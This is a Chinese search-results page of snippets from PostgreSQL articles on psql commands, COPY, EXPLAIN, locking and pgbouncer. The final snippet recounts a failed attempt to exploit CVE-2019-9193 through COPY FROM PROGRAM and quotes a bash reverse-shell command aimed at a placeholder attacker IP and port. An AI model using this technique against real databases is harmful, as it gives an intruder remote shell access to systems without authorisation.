首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

PostgreSQL 常用的命令

最近在学习PostgreSQL 技术体系,前面几篇文章介绍了 认识 PostgreSQL 基础权限体系,PostgreSQL 相关系统日志参数,今天学习一下常用的命令。...常用管理命令 1 查看用户信息 查看当前数据库所有的用户以及对应的权限 \du 查看schema的相关信息 \dn 在PG里面的schema和user有差异,用户是独立于 数据库,schema,表之外的...postgresql=# show log_statement; log_statement --------------- all (1 row) 其他命令行 \x命令的含义是:psql客户端每行仅仅显示一个字段以及该字段值...类似 mysql 中的 \G \h:查看SQL命令的解释,比如\h select。 \?:查看psql命令列表。 \e:打开文本编辑器。 \conninfo:列出当前数据库和连接的信息。...常用 sql 查看执行计划 postgresql=# explain select * from t1 where id=2; QUERY PLAN -----

68520
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    PostgreSQL copy 命令教程

    报文介绍PostgreSQL copy 命令,通过示例展示把查询结果导出到csv文件,导入数据文件至postgresql。...1. copy命令介绍 copy命令用于在postgreSql表和标准文件系统直接传输数据。copy命令PostgreSQL 服务器直接读写文件,因此文件必须让PostgreSQL 用户能够访问到。...如果该命令中的表的列参数未指定则获取它们的缺省值。使用copy from命令的表必须授予insert权限。 不要混淆copy命令和psql中的 \copy。...2. copy命令示例 2.1 从Postgresql导出表 我们能拷贝表至控制台,并使用竖线(|)作为字段直接的分隔符: copy customers to stdout(delimiter '|')...总结 本文介绍PostgreSQL中的copy命令,并通过示例展示了不同的应用场景。

    3.7K10

    PostgreSql的Explain命令详解

    http://toplchx.iteye.com/blog/2091860 使用EXPLAIN PostgreSQL为每个收到的查询设计一个查询规划。...你可以使用EXPLAIN命令查看查询规划器创建的任何查询。阅读查询规划是一门艺术,需要掌握一定的经验,本节试图涵盖一些基础知识。 以下的例子来自PostgreSQL 9.3开发版。...这个查询实际输出的记录数是7000,但是评估是个近似值,多次运行可能略有差别,这中情况可以通过ANALYZE命令改善。 现在再修改一下条件 Sql代码 ?...如果要分析一个修改数据的查询又不想改变你的表,你可以使用roll back命令进行回滚,比如: Sql代码 ?...Index Cond: (unique1 < 100) Total runtime: 14.727 ms ROLLBACK; 当查询是INSERT,UPDATE或DELETE命令

    2.2K20

    PostgreSQL常用命令

    昨天安装好PostgreSQL,今天开始学习使用。安装好以后,会附带有说明文档。 我打开psql,登陆如下界面: ? 按照说明文档中使用createdb命令创建数据库,但是提示语法错误。...下面说说常用的一些命令: (1)列出所有的数据库 MySQL: show databases PostgreSQL: \l或\list (2)切换数据库 MySQL: use dbname...PostgreSQL: \c dbname (3)列出当前数据库下的数据表 MySQL: show tables PostgreSQL: \d (4)列出指定表的所有字段 MySQL: show...: \d+ tablename (6)退出登录 MySQL: quit 或者\q PostgreSQL:\q (7)修改密码 PostgreSQL: alter user postgres with...: \db(或者select * from pg_tablespace;但是使用SQL查询看到的结果和\db命令不太一样,SQL显示的是表中存储的元数据) (10) 切换用户 PostgresSQL:

    2.2K30

    PostgreSQL使用LOCK命令开启数据锁

    PostgreSQL LOCK锁主要是为了保持数据库数据的一致性,可以阻止用户修改一行或整个表,一般用在并发较高的数据库中。...LOCK 命令语法 LOCK 命令基础语法如下: LOCK [ TABLE ] name IN lock_mode name:要锁定的现有表的名称(可选模式限定)。...没有解锁表命令;锁总是在事务结束时释放。 死锁 当两个事务彼此等待对方完成其操作时,可能会发生死锁。尽管 PostgreSQL 可以检测它们并以回滚结束它们,但死锁仍然很不方便。...咨询锁 PostgreSQL 提供了创建具有应用程序定义含义的锁的方法。这些被称为咨询锁。由于系统不强制使用它们,所以正确使用它们取决于应用程序。咨询锁对于不适合 MVCC 模型的锁定策略非常有用。

    79200

    Postgresql pgbouncer 中的命令与操作

    pgbouncer 主要的命令和操作是在他本身的console中, 其中console的命令主要包含三类 1 show 2 针对连接的数据库的操作 3 针对中间件本身的操作 1 show...命令 show databases , 以下的信息来自于配置文件中的信息 ?...8 RELOAD , DISABLE , ENABLE 以上三个命令属于pgbouncer的管理命令, RELOAD 是将修改的配置文件信息在重新加载到系统中, DISABLE ENABLE 两个命令是对于当前的数据库禁止访问...在执行命令后, 已连接的用户也无法在执行命令 ? ?...2 ENABLE DISABLE 这两个命令和上面的命令之间的区别在于对于当前用户的处理,上面的命令在执行完毕后,对已经连入的用户的继续的访问生效,而 enable disable 两个命令则对于当前已经连入到数据库的用户不生效

    1.1K10

    一次失败的PostgreSQL命令执行

    PostgreSQL是什么?...从SQL就可以看出这是一种数据库,现在学习安全起步基本都是关于MySql的操作,关于postgresql、mssql、Oracle等数据库应该是相对比较少的,这也是kami第一次接触PostgreSQL...PostgreSQL命令执行(CVE-2019-9193) 从postgresql 9.3 版本开始,PostgreSQL实现了COPY TO/FROM PROGRAM这个新的功能,它允许数据库的超级用户以及...bash -i >& /dec/tcp/攻击机ip/攻击机端口 0>&1 但在执行bash命令的时候,数据库因为没有执行bash命令的权限而报错了。...执行命令: drop table kami; 于是数据库就崩了,数据库一直在处理这条命令,直到我第二周打开那个网站,看见页面才知道,数据库确实被我玩崩了。 哇的一下就哭出来了。

    2K30
    领券